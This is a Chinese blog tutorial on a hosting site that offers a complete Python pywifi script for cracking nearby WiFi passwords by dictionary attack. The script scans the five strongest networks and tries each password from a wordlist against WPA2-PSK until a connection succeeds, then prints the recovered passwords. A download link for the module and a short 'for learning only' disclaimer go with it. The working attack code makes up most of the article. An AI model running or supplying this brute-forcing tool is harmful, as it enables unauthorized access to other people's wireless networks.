香港云主机最佳企业级服务商!

ADSL拨号VPS包含了中国大陆(联通,移动,电信,)

中国香港,国外拨号VPS。

当前位置:云主机 > python >

电信ADSL拨号VPS
联通ADSL拨号VPS
移动ADSL拨号VPS

Python利用字典破解WIFI密码的方法


时间:2022-04-02 10:20 作者:admin610456


最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python/' target='_blank'>python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点)

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywififrom pywifi import const #引用一些定义import timenamelist = []ssidlist = []result = [] #存放查询到的WIFI,密码wificount=5 #查询附近信号最强的5个WIFI,最多5个def getwifi():  wifi=pywifi.PyWiFi()#抓取网卡接口  ifaces=wifi.interfaces()[0]#获取网卡  ifaces.scan()  time.sleep(8)   bessis = ifaces.scan_results()  list = []    for data in bessis:    if(data.ssid not in namelist): #去掉重复的WIFI名称      namelist.append(data.ssid)      list.append((data.ssid, data.signal))    sorted(list, key=lambda st: st[1], reverse=True)  time.sleep(1)  n=0  if len(list) is not 0:    for item in list:      if(item[0] not in ssidlist):        n=n+1        if n<=wificount:          ssidlist.append(item[0])  print(ssidlist)def testwifi(ssidname,password):  wifi=pywifi.PyWiFi()#抓取网卡接口  ifaces=wifi.interfaces()[0]#获取网卡  ifaces.disconnect()#断开无限网卡连接  profile=pywifi.Profile()#创建wifi连接文件  profile.ssid=ssidname#定义wifissid  profile.auth=const.AUTH_ALG_OPEN#网卡的开放  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元  profile.key=password #wifi密码  ifaces.remove_all_network_profiles()#删除其他所有配置文件  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件  ifaces.connect(tmp_profile)#连接wifi  time.sleep(5)#5秒内能否连接上  if ifaces.status()==const.IFACE_CONNECTED:       return True      else:    #print("[-]WiFi connection failure!")    return False  #ifaces.disconnect()#断开连接  #time.sleep(1)  return Truedef main():  getwifi()   #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。  if(len(ssidlist) is not 0):    path=r"password.txt"    files=open(path,'r')    while True:        if(len(ssidlist) is 0):          break        try:          password =files.readline()          password=password.strip('\n')          if not password:            break          for item in result: #把已经找到密码的WIFI从查询中删除。            ssidlist.remove(item[0])          for ssidname in ssidlist:                       if(testwifi(ssidname,password)==True):              result.append((ssidname,password)) #把找到的WIFI密码保存起来              print('Succ','Current WifiName:',ssidname,'Current Password:',password)            else:              print('Fail','Current WifiName:',ssidname,'Current Password:',password)        except:          continue    files.close()    print("\n","WIFI结果列表:")    for item in result: #把已经找到密码的WIFI从查询中删除。      print("")      print("无线:",item[0])      print("密码:",item[1])  else:    print("没有找到WIFI信号,请重试。")if __name__ == '__main__':  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对脚本之家的支持。如果你想了解更多相关内容请查看下面相关链接

(责任编辑:admin)






帮助中心
会员注册
找回密码
新闻中心
快捷通道
域名登录面板
虚机登录面板
云主机登录面板
关于我们
关于我们
联系我们
联系方式

售前咨询:17830004266(重庆移动)

企业QQ:383546523

《中华人民共和国工业和信息化部》 编号:ICP备00012341号

Copyright © 2002 -2018 香港云主机 版权所有
声明:香港云主机品牌标志、品牌吉祥物均已注册商标,版权所有,窃用必究

云官方微信

在线客服

  • 企业QQ: 点击这里给我发消息
  • 技术支持:383546523

  • 公司总台电话:17830004266(重庆移动)
  • 售前咨询热线:17830004266(重庆移动)